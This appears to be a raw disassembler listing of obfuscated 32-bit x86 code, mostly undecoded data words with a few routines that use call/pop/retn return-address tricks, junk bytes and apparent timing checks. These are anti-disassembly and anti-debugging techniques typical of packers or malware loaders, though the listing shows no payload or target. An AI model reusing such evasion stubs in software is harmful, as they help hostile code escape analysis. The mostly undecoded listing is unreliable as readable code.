		dd 140424h, 55450000h, 95897DC3h, 5D120A9h, 4C53B589h
		dd 83F505D1h, 0D120E9BDh, 850F0105h, 1Ah, 19D5958Bh, 0F88305D1h
		dd 0B850F05h, 0B8000000h, 0
; ---------------------------------------------------------------------------
		xor	ebx, 31079D5Eh
		cmp	dword ptr [ebp+5D1301Dh], 0
		jz	loc_56EE25
		push	0
		push	edi
		call	sub_56EDF6
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56EDF6	proc near		; CODE XREF: ud2_____:0056EDEEp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_56EDF6	endp

; ---------------------------------------------------------------------------
		dw 4072h
		dd 67C11D6Ch, 0B76D105h, 0D1266995h, 9D8B5705h,	5D11259h
		dd 0B85Bh, 0F3800000h
		db 6Eh
; ---------------------------------------------------------------------------


loc_56EE25:				; CODE XREF: ud2_____:0056EDE5j
		pusha
		xor	dx, 2F28h
		mov	eax, [ebp+5D117A5h]
		mov	ebx, 96F3DBDh
		add	eax, 2
		jge	loc_56EE43
		mov	bx, 1FEFh


loc_56EE43:				; CODE XREF: ud2_____:0056EE39j
		mov	[ebp+5D14C4Bh],	eax
		push	0
		push	eax
		call	sub_56EE54
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56EE54	proc near		; CODE XREF: ud2_____:0056EE4Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_56EE54	endp

; ---------------------------------------------------------------------------
		dd 0EEDABB73h, 0C67370h, 459D8BFFh, 0C605D115h,	0D124D985h
		dd 0D18A5305h, 4E8h, 0B148D800h, 8B6652FCh, 0BB505BDFh
		dd 271CBCCEh, 424448Bh,	0E9565250h, 0Dh, 0A96C6C81h, 6B8773FFh
		dd 5D48F578h, 310F5B3Eh, 5B616051h, 8B585Ah, 448988B2h
		dd 61BB0424h, 58018089h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 17h, 58C35040h, 0BA1BA201h, 2909CED4h, 24FDB5FFh
		dd 6A05D1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 828196C3h, 0A1858D67h, 0E905D45Ch, 11h, 0D318D640h
		dd 0FD8D2F53h, 6701972Fh, 7866BC5h, 98BB6616h, 89D0FF2Eh
		dd 0D1245985h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 9A19C9D2h, 1E3B2D6h, 0D125999Dh
		dd 0B9958905h, 8305D111h, 0D12691BDh, 850F0105h, 0CFh
		dd 0FE9h, 6DD6DF00h, 3BD170F2h,	27FFBD8Ch, 863CE51Ah, 0FA58501h
		dd 0E86105D1h, 14h, 9F694720h, 0BAD45E56h, 0AB7E4356h
		dd 0A9C9CCEh, 0B1526E62h, 3819F281h, 0C65B1785h, 0D124D985h
		dd 6A4505h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0B57315C3h, 0E1958B69h, 6805D108h, 0C2D53CDEh
		dd 481DD8Ah, 8AFBE424h,	0C99D8B17h, 0FF05D131h,	0D124FDB5h
		dd 0A1858D05h, 0E905D45Ch, 0Dh,	6FC2E8FFh, 54CF723Bh, 47C4576Bh
		dd 816650DDh, 5B278CC3h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 119693C3h, 6A57476Eh
		dd 0FFDF8B00h, 0C18D89D0h, 8305D113h, 0D116FDBDh, 850F0105h
		dd 0CDh, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 15h,	42C35141h, 39F28136h, 8B1EC34Bh, 0D117A585h, 0D5958905h
		dd 0E905D130h, 53h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 4CC35343h, 4FCB896Ch,	19958BD9h, 8B05D107h
		dd 0D11DC595h, 0B59D2B05h, 5005D119h, 489F08Ah,	6A23B324h
		dd 11958B14h, 0FF05D115h, 0D1245995h, 0A9958B05h, 5805D113h
		dd 8036CE80h, 850F0038h, 0FFFFFFD7h, 14E9h, 0C9D0BD00h
		dd 5F54232Fh, 0A830C432h, 2BB4D215h, 6F812D4Eh,	100C680h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0B4C35545h
		dd 8AF816A6h, 0BD8961F5h, 5D10295h, 0EB1BD83h, 0F0005D1h
		dd 5A84h, 0EE900h, 39880000h, 0CEA69C18h, 80859DF1h, 0A706D960h
		dd 6AFF6Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 37F8DBC3h, 1B372F7h, 8AB3F7B6h, 1F9D9D8Bh
		dd 95FF05D1h, 5D12459h,	12D9950Bh, 0C1E905D1h, 9FFFFFFh
		dd 0D10695BDh, 0C7D18B05h, 0D10EB185h, 105h, 0D2816600h
		dd 8589E06Fh, 5D14C57h,	0FFDE32BBh, 8B66507Ch, 240489DFh
		dd 6E950h, 7F580000h, 54737E5Bh, 0E380605Ah, 8B056A4Ch
		dd 6F858DD9h, 6005D14Ch, 8258D8Bh, 0BF0F05D1h, 0BA5061DFh
		dd 4684AE74h, 8D240489h, 0D14C5F85h, 59D8905h, 8905D118h
		dd 0D11685BDh, 0D38B9005h, 8B669050h, 2595FFD0h, 0F05D11Bh
		dd 958BD2B7h, 5D12AC1h,	78E98D8Dh, 13E805D1h, 46000000h
		dd 3AD65245h, 957C9132h, 42E87F2Fh, 0EB669821h,	816005FFh
		dd 85D96FD2h, 61CCB55Ch, 74C00B5Bh, 6F858D11h, 5005D14Ch
		dd 8589D1FFh, 5D14C8Dh,	85C70AEBh, 5D14C8Dh, 0FFFFFFFFh
		dd 0B31CEA80h, 0B5896188h, 5D125E1h, 24D985C6h,	8B4D05D1h
		dd 68D78AD7h, 0BD9E01E4h, 0B6575250h, 310F5B4Ch, 4C15D5BBh
		dd 81585A5Ah, 774C2434h, 0D78019ABh, 65B5FFDFh,	6A05D10Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0BCCCC353h, 91F17AEEh, 0A1858DF9h, 8905D45Ch
		dd 0D11EFDB5h, 6AD0FF05h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 8BFCC353h, 0D1319595h
		dd 9858905h, 0F505D125h, 24D985C6h, 0B34505D1h,	0A41868D6h
		dd 665682D5h, 5B4EC2BAh, 51240481h, 6A0B9CC5h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0B933C353h, 2CF95A12h, 814EBA9Ch, 0CA9F93D2h, 0FDB5FF41h
		dd 0F05D124h, 68Dh, 44DA8100h, 8D6A8E83h, 0D45CA185h, 5860F05h
		dd 0BB000000h, 0FF56C02h, 0EE9D0FFh, 11000000h,	47D1648Fh
		dd 5F4A2B40h, 0DB7AF828h, 25858918h, 6A05D124h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0D27DC350h, 71F4976Ch, 66D28B19h, 66C6D4BAh,	9D31D98Ch
		dd 5D11489h, 0F04C1F6h,	1E584h,	68A0F00h, 60000000h, 0E7CC80F9h
		dd 0F7E961h, 0B5890000h, 5D10165h, 18A9B58Bh, 958905D1h
		dd 5D10C39h, 1180C681h,	81660000h, 8399CFDAh, 0D115E1BDh
		dd 850F0005h, 44h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 1AC35545h, 0B0A21491h, 0E90B8E48h, 89h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 4CC35545h
		dd 0F003E83h, 6484h, 0A5E38100h, 6053BCB1h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 2CC35747h, 39B58960h
		dd 8105D109h, 14EB93D8h, 146A616Dh, 95FF24B6h, 5D12459h
		dd 10E9h, 5BA5AB00h, 0B91EBA4Ch, 0C351CA17h, 9A9E5FD0h
		dd 0D6B761D5h, 0FFFF9FE9h, 259D8BFFh, 8B05D10Dh, 0D10B0195h
		dd 106C705h, 0E9000000h, 0Bh, 0CAC3C38Ah, 24397C15h, 8B591A73h
		dd 0D10F2D95h, 57BD8305h, 505D14Ch, 0D0850Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0AE147DC3h, 0B58B882Bh, 5D12425h, 14E9h, 5A76900h, 0D144A311h
		dd 2AD8BDA7h, 0F69A399Ah, 368B392Dh, 64B986h, 8D090000h
		dd 5D1265Dh, 0FE83E80h,	1E84h, 40DB8100h, 0E9017B9Ah, 23h
		dd 8E9h, 32AD0700h, 0BAD91CFAh,	9950B19h, 8005D116h, 0FC2057Eh
		dd 2D84h, 6D9D8B00h, 4605D114h,	0AE9A8B3h, 33000000h, 9938C01Ch
		dd 0F0F00915h, 850F49F1h, 0FFFFFFB0h, 2A31950Bh, 2BE905D1h
		dd 80000000h, 0B589F7F6h, 5D11785h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 0F5C35343h,	19959589h, 895805D1h
		dd 0D11B219Dh, 9BD8305h, 5D112h, 110840Fh, 0DA810000h
		dd 5931D973h, 51006A60h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 2BC22AD0h, 0D1084995h, 0D985C605h
		dd 5405D124h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 19h,	0F3C35545h, 0DF77A139h,	0A1958B0Dh, 0F05D106h
		dd 0B868D1B7h, 81A7C9D0h, 0EE3C2404h, 0FE95784h, 97000000h
		dd 0DD6A8C32h, 4285A7E9h, 4120E95Ch, 0B5FFC0C3h, 5D124FDh
		dd 0AE9h, 0FD78A300h, 0F2E4E02Ch, 8DB19161h, 0D45CA185h
		dd 0DABF0F05h, 6AD0FFh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 8589C4C3h, 5D113BDh, 6A006Ah, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 41F8B5C3h, 0E8F8A26Bh, 9,	0B8CDF19Eh, 53755C4Eh
		dd 0DAB70F69h, 9B5FF5Ah, 6005D112h, 8B60D68Bh, 616160C2h
		dd 66D0FF61h, 6199B9BAh, 1379BD89h, 85C705D1h, 5D10049h
		dd 1, 2820Fh, 0D78B0000h, 51006A60h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0E0F680F4h
		dd 66E99C68h, 0FE851h, 0F3C30000h, 0C335A7D9h, 0D5E389D4h
		dd 7E557D15h, 5AD88BC5h, 1C243481h, 6A5166E9h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 4920C350h, 48DA8166h, 0FFFF6A07h, 0D1310195h, 7D952305h
		dd 6105D10Dh, 7E9h, 3C6BEB00h, 7328C0ACh, 0BE85290h, 2E000000h
		dd 2B41B8A6h, 95080E85h, 0F78A8743h, 0E9505B5Ah, 9, 9DD85601h
		dd 80197F26h, 952390B4h, 5D12DB1h, 169858Bh, 0CF8005D1h
		dd 0FC00BAFh, 1884h, 5840F00h, 66000000h, 0CD96E381h, 1D8195FFh
		dd 77B605D1h, 0D2EB8166h, 3185C705h, 105D123h, 89000000h
		dd 0D124399Dh, 39BD8305h, 5D123h, 2F840Fh, 820F0000h, 17h
		dd 12E9h, 0C549D900h, 5632F19Dh, 46E4A40Bh, 3D147A63h
		dd 0FFD705E5h, 0D1009995h, 7E905h, 0F7760000h, 35B2C86Bh
		dd 11BD8360h, 5D127h, 30840Fh, 8D890000h, 5D123C9h, 11B595FFh
		dd 6A05D1h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 9E48A0C3h, 1DD9958Bh, 0BD8305D1h,	5D125C1h
		dd 5E840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0D697C350h,	0E9AE9575h
		dd 0Fh,	962ADCE3h, 1611AE1Ah, 1F990281h, 0B601FA09h, 8DBD83D7h
		dd 5D125h, 1B850Fh, 95030000h, 5D10C55h, 27ED95FFh, 0AE905D1h
		dd 48000000h, 3E7FD5EDh, 0B1E5A157h, 0D1BD8381h, 5D131h
		dd 26840Fh, 958B0000h, 5D1202Dh, 14098581h, 400305D1h
		dd 9D8B0000h, 5D12659h,	102D8581h, 400305D1h, 8D290000h
		dd 5D11ABDh, 8E9310Fh, 7E000000h, 6140DD8Bh, 0F464217h
		dd 1084h, 0BE900h, 88910000h, 0F7434571h, 0E6DB188Eh, 648D8D6Ah
		dd 2905D15Ah, 0D10CB59Dh, 66018905h, 336CC2BAh,	0F38166C2h
		dd 0FE9F00Fh, 80000000h, 3F7B72CFh, 0D53236AFh,	0F3DCDAAEh
		dd 41896B20h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 0E05ECA82h, 0AAD1D1E6h, 28B0F98h
		dd 8B000000h, 0ED9589D0h, 0F05D11Bh, 0EE831h, 85E30000h
		dd 0A18C1FB6h, 0E3C4838Ch, 696E1BA6h, 5AD4F280h, 5A748D8Dh
		dd 6A05D1h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 76193DC3h, 88FCB51Ch, 5E81DF2h, 9C000000h
		dd 3CEF563Eh, 11E9h, 95A12700h,	82A07232h, 0B8765D90h
		dd 2B097EB1h, 0B35A100Dh, 89018978h, 0D1163D9Dh, 89C23305h
		dd 0D1271DB5h, 4418905h, 83D18B66h, 0D11AD5BDh,	840F0005h
		dd 14h,	8D31DE8Bh, 5D108BDh, 0DA995FFh,	9D8B05D1h, 5D121A1h
		dd 2619BD83h, 0F0105D1h, 3A85h,	8E900h,	0DE040000h, 838B1488h
		dd 28E9E1F5h, 80000000h, 0B58BC1D2h, 5D15BC2h, 6C7h, 0B58B0000h
		dd 5D1596Dh, 6C7h, 8BCF0000h, 0D11F0595h, 1D952905h, 8305D11Eh
		dd 0D12331BDh, 840F0005h, 156h,	85BD83F8h, 105D120h, 136850Fh
		dd 95890000h, 5D125B9h,	4C4B8D8Bh, 6A05D1h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 5F00D3C3h
		dd 58EA814Eh, 0C67CF6C3h, 6A0001h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 560D69C3h, 432DF07Ch
		dd 89306B5Fh, 0D10AE5B5h, 95896005h, 5D13049h, 4E8h, 8000h
		dd 0AE800h, 5BDF0000h, 0A3FBE81Eh, 938AB676h, 6870Fh, 52500000h
		dd 585A310Fh, 0BB66505Ah, 448BFE3Ah, 8B660424h,	66008BD3h
		dd 4489D68Bh, 0BA660424h, 895878AAh, 0D12395B5h, 0FE805h
		dd 66A20000h, 3790FC5Dh, 7FFB549Fh, 8E65AFC4h, 3800F1Eh
		dd 0F000000h, 6A5AD7B7h, 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 0B5073B02h, 673F83F5h
		dd 8B665BE3h, 6E9D6h, 659D0000h, 0D8500FF4h, 310195FFh
		dd 958B05D1h, 5D126F1h,	28A0F61h, 0B2000000h, 0E595FFCDh
		dd 8005D11Fh, 8D8B2BE2h, 5D14C4Bh, 17798589h, 0B58905D1h
		dd 5D113C1h, 0DA8101FEh, 0C0CFED3h, 2235BD83h, 0F0105D1h
		dd 585h, 0E3816600h, 0C08B0B1Eh, 0B95131BAh, 86EB814Ah
		dd 834C2C3Dh, 0D11671BDh, 9750005h, 121DBD83h, 740005D1h
		dd 8B53501Ah, 9858BC0h,	8905D114h, 0D1140985h, 0CD9D8D05h
		dd 0FF05D3A1h, 83585BD3h, 0D1121DBDh, 18740005h, 858B5350h
		dd 5D11409h, 14098589h,	9D8D05D1h, 5D39EBCh, 585BD3FFh
		dd 2830Fh, 0F48A0000h, 0AE9h, 543C3300h, 0AC41D346h, 8BB8E717h
		dd 56006AC0h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0C6EED06Ch, 0AE64D6F4h, 0E38139FBh, 37604469h
		dd 2331BD83h, 0F0005D1h, 1985h,	0F1958B00h, 8305D119h
		dd 0D124E9BDh, 840F0005h, 6, 0FA5950Bh,	0BD8305D1h, 5D12331h
		dd 3F840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 3FC2C350h, 0B79DDCECh
		dd 85BA6606h, 0E5BD835Bh, 5D11Bh, 0C840Fh, 66600000h, 895785BAh
		dd 0D109A9B5h, 0BD836105h, 5D12331h, 3B840F00h,	80000000h
		dd 0BD83A5CEh, 5D11BE5h, 2B840F00h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 71CBC356h, 8A95C9A6h, 1A2960B0h, 13819D8Bh, 0BD8305D1h
		dd 5D12331h, 39840F00h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0F63C356h
		dd 74E76349h, 0B9F94176h, 12CDB589h, 0BD8305D1h, 5D11691h
		dd 1840F00h, 0F9000000h, 2331BD83h, 0F0005D1h, 4584h, 5BF95200h
		dd 30ADBD83h, 0F0005D1h, 3584h,	0B7E68000h, 1AED95FFh
		dd 6A05D1h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0D8A93FC3h, 8E976h, 473F0000h, 0A9C5DD6Eh
		dd 0C08BF706h, 0AE9h, 7A5BCB00h, 831F93DCh, 0E87B64A9h
		dd 0Ah,	0C7111E3h, 93F10CA1h, 8B338C2h,	71BD835Ah, 5D116h
		dd 0BD830975h, 5D1121Dh, 501A7400h, 8BC08B53h, 0D1102D85h
		dd 2D858905h, 8D05D110h, 0D3A2349Dh, 5BD3FF05h,	1DBD8358h
		dd 5D112h, 53501874h, 102D858Bh, 858905D1h, 5D1102Dh, 9ED59D8Dh
		dd 0D3FF05D3h, 0DE9585Bh, 0F3000000h, 799249ACh, 60C4E2FBh
		dd 0CCE004FDh, 0E98529h, 0C08B05D1h, 8519D8Bh, 958B05D1h
		dd 5D115DDh, 2331BD83h,	0F0005D1h, 48084h, 837DB700h, 0D12691BDh
		dd 840F0205h, 12h, 51683ABAh, 19BD8369h, 105D126h, 850Fh
		dd 0BD830000h, 5D102ADh, 0D3840F00h, 0F000000h,	68Ah, 0F99D8B00h
		dd 6005D10Ch, 0AFD38166h, 4B8D8B4Ah, 0B305D14Ch, 0F01FE03h
		dd 86h,	0C5952300h, 0E805D11Dh
		dd 4, 80h, 8BE0B750h, 0E8042444h, 12h, 0A84D1880h, 959CFDA8h
		dd 4F1A31CFh, 0E75B76BEh, 5250C2FCh, 870Fh, 310F0000h
		dd 585A6160h, 8A008B5Ah, 244489FAh, 58DA8A04h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 9EC35343h, 8E8h
		dd 24311100h, 30D3876Bh, 0B18D8981h, 5B05D126h,	9D8BFF6Ah
		dd 5D123B5h, 310195FFh,	6A05D1h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 87022FC3h, 90B1D280h
		dd 61DAB70Fh, 30A19D01h, 16005D1h, 0D11CBDB5h, 4B8D8B05h
		dd 6A05D14Ch, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 5B3DC357h, 8B35B4A4h, 0D12A6195h
		dd 6A01FE05h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0DA1EC353h, 0BB66A9ECh, 9D8BBE44h
		dd 5D1140Dh, 35CC0168h,	0F870FE8h, 50000000h, 0D18B6652h
		dd 5250310Fh, 585A310Fh, 481585Ah, 0CA347F24h, 6AD88B17h
		dd 2434BBFFh, 95FF7CAEh, 5D13101h, 50D0BF0Fh, 9BDA8166h
		dd 2B615B37h, 0D11AC99Dh, 0D7B70F05h, 2CDDBD8Dh, 6A05D1h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0FE20C0C3h, 0E28169B8h, 2E2C6D0Ch, 8B1C4F8Bh, 0D1261195h
		dd 0E9016A05h, 0Bh, 0D5563420h,	0A0ED952Ah, 508665F7h
		dd 3BA5250h, 0F48235Fh,	5AF58A31h, 240C8958h, 245D8589h
		dd 858D05D1h, 5D42802h,	0FDEADB81h, 8D0F39B2h, 0
; ---------------------------------------------------------------------------
		call	eax
		push	0
		push	edi
		call	sub_57002D
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57002D	proc near		; CODE XREF: ud2_____:00570025p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_57002D	endp

; ---------------------------------------------------------------------------
		db 27h,	95h, 58h
		dd 8D895AE3h, 5D102A1h,	0B70F5157h, 8B5A5ADFh, 8D89204Fh
		dd 5D125D9h, 75B7036Ah,	0B7525091h, 5A310FC1h
		db 58h
; ---------------------------------------------------------------------------
		push	eax
		pusha
		mov	cx, 0C132h
		popa
		xchg	eax, ecx
		mov	ebx, eax
		lea	eax, [ebp+5D42802h]
		push	0
		push	ebp
		call	sub_570080
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_570080	proc near		; CODE XREF: ud2_____:00570078p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_570080	endp

; ---------------------------------------------------------------------------
		dd 2026B4BFh, 22AB32E4h, 6E85Eh, 0E9200000h, 4DE0CB8Ch
		dd 81CA8166h, 0D0FF5A36h, 22A0BAF5h, 0BD8D7041h, 5D12CDDh
		dd 1C1D8D89h, 4F8B05D1h, 5E8601Ch, 0B4000000h, 0EDF65A21h
		dd 45C98166h, 58565FC4h, 6A016A61h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0DE1FC351h
		dd 19EE0DF1h, 8B31BA41h, 506091D8h, 0C28B6652h,	0C68B310Fh
		dd 0BE60585Ah, 4E99B8DFh, 5C36B9B9h, 50616169h,	13830Fh
		dd 0EE90000h, 5B000000h, 9CB0320h, 2C8C9C9Eh, 6CE7CB61h
		dd 8C0F915Ah, 12h, 0DE9h, 7D031200h, 0DE4B29E3h, 65667A45h
		dd 858D688Fh, 5D42802h,	11E9h, 541D5100h, 73F6361h, 9E92CC89h
		dd 0DB354FD7h, 0D0FFA56Dh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 1AC35141h, 31C79AA0h,	32C1BD89h, 0DF8B05D1h
		dd 80204F8Bh, 36A8ACBh,	6FD9589h, 0BA5005D1h, 3E8F7A4Eh
		dd 6A240C89h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 463DC355h, 0DEA1AEEAh,	2A0EF7C3h
		dd 2802858Dh, 0E95705D4h, 0Dh, 11377253h, 0FF4659Dh, 1147D850h
		dd 0D0FF5B8Dh, 8B17D280h, 0D14C4B8Dh, 8D9D8B05h, 0FE05D11Fh
		dd 0C3816601h, 858BDD50h, 5D14C4Bh, 5870Fh, 68BB0000h
		dd 294FA7BAh, 0D10E81BDh, 6A00FE05h, 51006A01h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0BB1A7ED0h
		dd 50AA809Ch, 0AE952h, 3B8D0000h, 0BFF59958h, 0DBEB437h
		dd 0C2E2685Ah, 0BB66C755h, 4819658h, 0A9DD1D24h, 52006A38h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0C207E36h, 858D9DB6h, 5D4280Ch, 29D0FFF5h, 0D11F5DB5h
		dd 0E9BD8305h, 5D124h, 104840Fh, 958B0000h, 5D10239h, 20E9BD83h
		dd 0F0105D1h, 0F185h, 59950100h, 8D05D112h, 0D428168Dh
		dd 0A8F38005h, 958B036Ah, 5D10675h, 9D8B016Ah, 5D13245h
		dd 0FFB3DB80h, 57006AD1h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 79F41F6Eh, 77576485h
		dd 8D89FBC5h, 5D11D01h,	0A44AA6BBh, 1016A67h, 0D114D595h
		dd 0D98B6605h, 6A016Ah,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0A061D3C3h, 975C901Bh, 0EE9h, 4FA22D00h
		dd 3D731DD6h, 29CF1DFAh, 8B6FDBBFh, 6AD1FFD8h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 68BCC357h, 0E81B8006h, 5, 0F25D34FDh, 0DB816680h, 0E85B4C03h
		dd 0FA8A6038h, 0FD7DBA60h, 0D6800CECh, 13E96191h, 7A000000h
		dd 681188B1h, 1411BC05h, 3EB3E122h, 36808BA3h, 206A131Dh
		dd 11B9B589h, 0FF6A05D1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 8FC35545h, 0B5895718h, 5D12A6Dh, 195FF5Ah
		dd 6A05D131h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 3095C355h, 12647A53h, 4FB010BBh
		dd 0B808h, 0BF80000h, 57840FC0h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 6D38C357h
		dd 224C83D4h, 0E9C07429h, 8, 9EA0BE71h,	719CB995h, 6CCA8166h
		dd 39BD8337h, 5D11Bh, 14840Fh, 9D310000h, 5D12ABDh, 12BD95FFh
		dd 0EF8005D1h, 0BAA0BBDCh, 858B321Ch, 5D117A5h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 9BC35646h, 0FC0A977h
		dd 0ECBC26Ch, 0C6D18BB6h, 3BB30000h, 3880Fh, 0BF0F0000h
		dd 9D0B58DBh, 5D12759h,	6AD98C66h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 24CEC353h
		dd 0A427B90Eh, 9D2BAE40h, 5D1223Dh, 0F04C1F6h, 6384h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0B3217F3Eh, 3DE969FEh, 66000000h, 0B58BD68Bh, 5D118A9h
		dd 19C99D8Bh, 0C68105D1h, 1180h, 190DB529h, 6C705D1h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_570527
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_570527	proc near		; CODE XREF: ud2_____:0057051Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_570527	endp

; ---------------------------------------------------------------------------
		rcr	dword ptr [esi-46h], cl
		inc	edx
		scasb
		cli
		add	eax, 0F00F883h
		test	[edx], cl
		or	eax, 0D58A0000h
		jmp	loc_570558
; ---------------------------------------------------------------------------
		dw 3D9Ch
		dd 2F41543Dh, 481A606Bh
; ---------------------------------------------------------------------------


loc_570558:				; CODE XREF: ud2_____:00570549j
		cmp	eax, 1
		jnz	loc_570702
		jmp	loc_570572
; ---------------------------------------------------------------------------
		dw 0C46h
		dd 5F7F3C8Ch, 0A9EDD437h
		db 0BEh, 28h
; ---------------------------------------------------------------------------


loc_570572:				; CODE XREF: ud2_____:00570561j
		sub	[ebp+5D10ADDh],	ecx
		mov	eax, 1
		push	0
		push	esi
		call	sub_570588
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_570588	proc near		; CODE XREF: ud2_____:00570580p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_570588	endp

; ---------------------------------------------------------------------------
		dd 1ACF3866h, 958B86FDh, 5D100C5h, 6838BB66h, 840FC00Bh
		dd 0ACh, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 17h,	0DCC35646h, 831468CAh, 840F01F8h, 0BCh,	1CB1958Bh
		dd 0F88305D1h, 2C840F03h, 80000000h, 0C02BB3EBh, 8D51CA81h
		dd 0BD8D4C6Bh, 5B7974h,	14058D89h, 0E7FF05D1h, 0EE9h, 0E22F8200h
		dd 0BCD393F0h, 40CF3EA7h, 0B8E8C2E3h, 1, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 18h, 5AC35747h, 0A4DD8785h
		dd 25FD958Bh, 858905D1h, 5D12A31h, 7974BD8Dh, 0F56005Bh
		dd 289h, 5BE6B700h, 0FFF0CA80h,	0D68B66E7h, 42D7BD8Dh
		dd 6A05D1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 3C8254C3h, 0D08A5E15h, 35BE9h, 6E900h, 0D0380000h
		dd 0A182437Ah, 4CA685C7h, 505D1h, 6A0000h, 3E851h, 59200000h
